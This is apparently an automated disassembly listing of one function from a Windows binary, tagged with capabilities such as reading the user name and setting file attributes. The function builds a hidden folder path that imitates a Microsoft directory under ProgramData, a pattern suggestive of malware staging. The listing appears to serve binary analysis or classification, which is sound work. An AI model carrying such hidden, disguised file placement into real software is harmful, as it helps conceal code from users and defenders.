Function at 0x100fd100
Capabilities:
Get common file path
Get session user name
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015a854
mov eax, dword fs:[0]
push eax
sub esp, 0xcd4
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xca0], 0
mov dword [ebp - 4], 0
xor eax, eax
mov word [ebp - 0xc20], ax
push 0x7fe
push 0
lea ecx, [ebp - 0xc1e]
push ecx
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [ebp - 0xcac], 0x400
lea edx, [ebp - 0xcac]
push edx
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea ecx, [ebp - 0xc50]
call fcn.10003f70
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc38]
call fcn.10003f70
mov byte [ebp - 4], 2
xor ecx, ecx
mov word [ebp - 0x420], cx
push 0x206
push 0
lea edx, [ebp - 0x41e]
push edx
call sub.MSVCR120.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor ecx, ecx
mov word [ebp - 0x218], cx
push 0x206
push 0
lea edx, [ebp - 0x216]
push edx
call sub.MSVCR120.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0
push 0
push 0
push 0x104
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.MSVCR120.dll__wsplitpath_s]
add esp, 0x24
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0xc38]
call fcn.10007da0
lea ecx, [ebp - 0xc38]
call fcn.10001f20
movzx eax, al
test eax, eax
jne 0x100fd24b
push 0
push 0x1017d5b8
lea ecx, [ebp - 0xc38]
call fcn.1000ae10
cmp eax, 0xffffffff
jne 0x100fd25b
push 0x1017d5b0
lea ecx, [ebp - 0xc38]
call fcn.10007da0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0xcd8], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xcd4], esp
lea edx, [ebp - 0xc20]
push edx
call fcn.10003d50
mov dword [ebp - 0xcb4], eax
push esi
call fcn.100fcdd0
add esp, 0x1c
mov dword [ebp - 0xca4], eax
mov eax, dword [ebp - 0xca4]
mov dword [ebp - 0xcb8], eax
lea ecx, [ebp - 0xc80]
call fcn.1007d170
add esp, 0x18
mov dword [ebp - 0xcc0], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc80]
call fcn.10002bf0
push eax
lea ecx, [ebp - 0xc38]
call fcn.10002bf0
push eax
push str._sProgramDataMicrosoft_Host_s
lea ecx, [ebp - 0xc68]
push ecx
call fcn.1007cf90
add esp, 0x10
mov byte [ebp - 4], 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xcc8], esp
lea edx, [ebp - 0xc68]
push edx
call fcn.10004030
mov dword [ebp - 0xcd0], eax
call fcn.1007dbc0
add esp, 0x18
mov byte [ebp - 0xc99], al
movzx eax, byte [ebp - 0xc99]
test eax, eax
jne 0x100fd341
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xcb0], esp
lea edx, [ebp - 0xc68]
push edx
call fcn.10004030
mov dword [ebp - 0xce0], eax
call fcn.100f96c0
add esp, 0x18
lea ecx, [ebp + 0xc]
call fcn.10002bf0
push eax
lea ecx, [ebp - 0xc80]
call fcn.10002bf0
push eax
lea ecx, [ebp - 0xc38]
call fcn.10002bf0
push eax
push str._sProgramDataMicrosoft_Host_s_s
lea eax, [ebp - 0xc98]
push eax
call fcn.1007cf90
add esp, 0x14
mov dword [ebp - 0xca8], eax
mov ecx, dword [ebp - 0xca8]
push ecx
lea ecx, [ebp - 0xc50]
call fcn.10003480
lea ecx, [ebp - 0xc98]
call fcn.10003e00
lea ecx, [ebp - 0xc50]
call fcn.1007dc20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xccc], esp
lea edx, [ebp - 0xc50]
push edx
call fcn.10004030
mov dword [ebp - 0xcbc], eax
call fcn.1007dbc0
add esp, 0x18
mov byte [ebp - 0xc9a], al
movzx eax, byte [ebp - 0xc9a]
test eax, eax
jne 0x100fd413
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xcdc], esp
lea edx, [ebp - 0xc50]
push edx
call fcn.10004030
mov dword [ebp - 0xcc4], eax
call fcn.100f96c0
add esp, 0x18
push 2
lea ecx, [ebp - 0xc68]
call fcn.10002bf0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xc50]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000dab0
mov ecx, dword [ebp - 0xca0]
or ecx, 1
mov dword [ebp - 0xca0], ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc68]
call fcn.10003e00
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc80]
call fcn.10003e00
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc38]
call fcn.10003e00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc50]
call fcn.10003e00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.10003e00
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret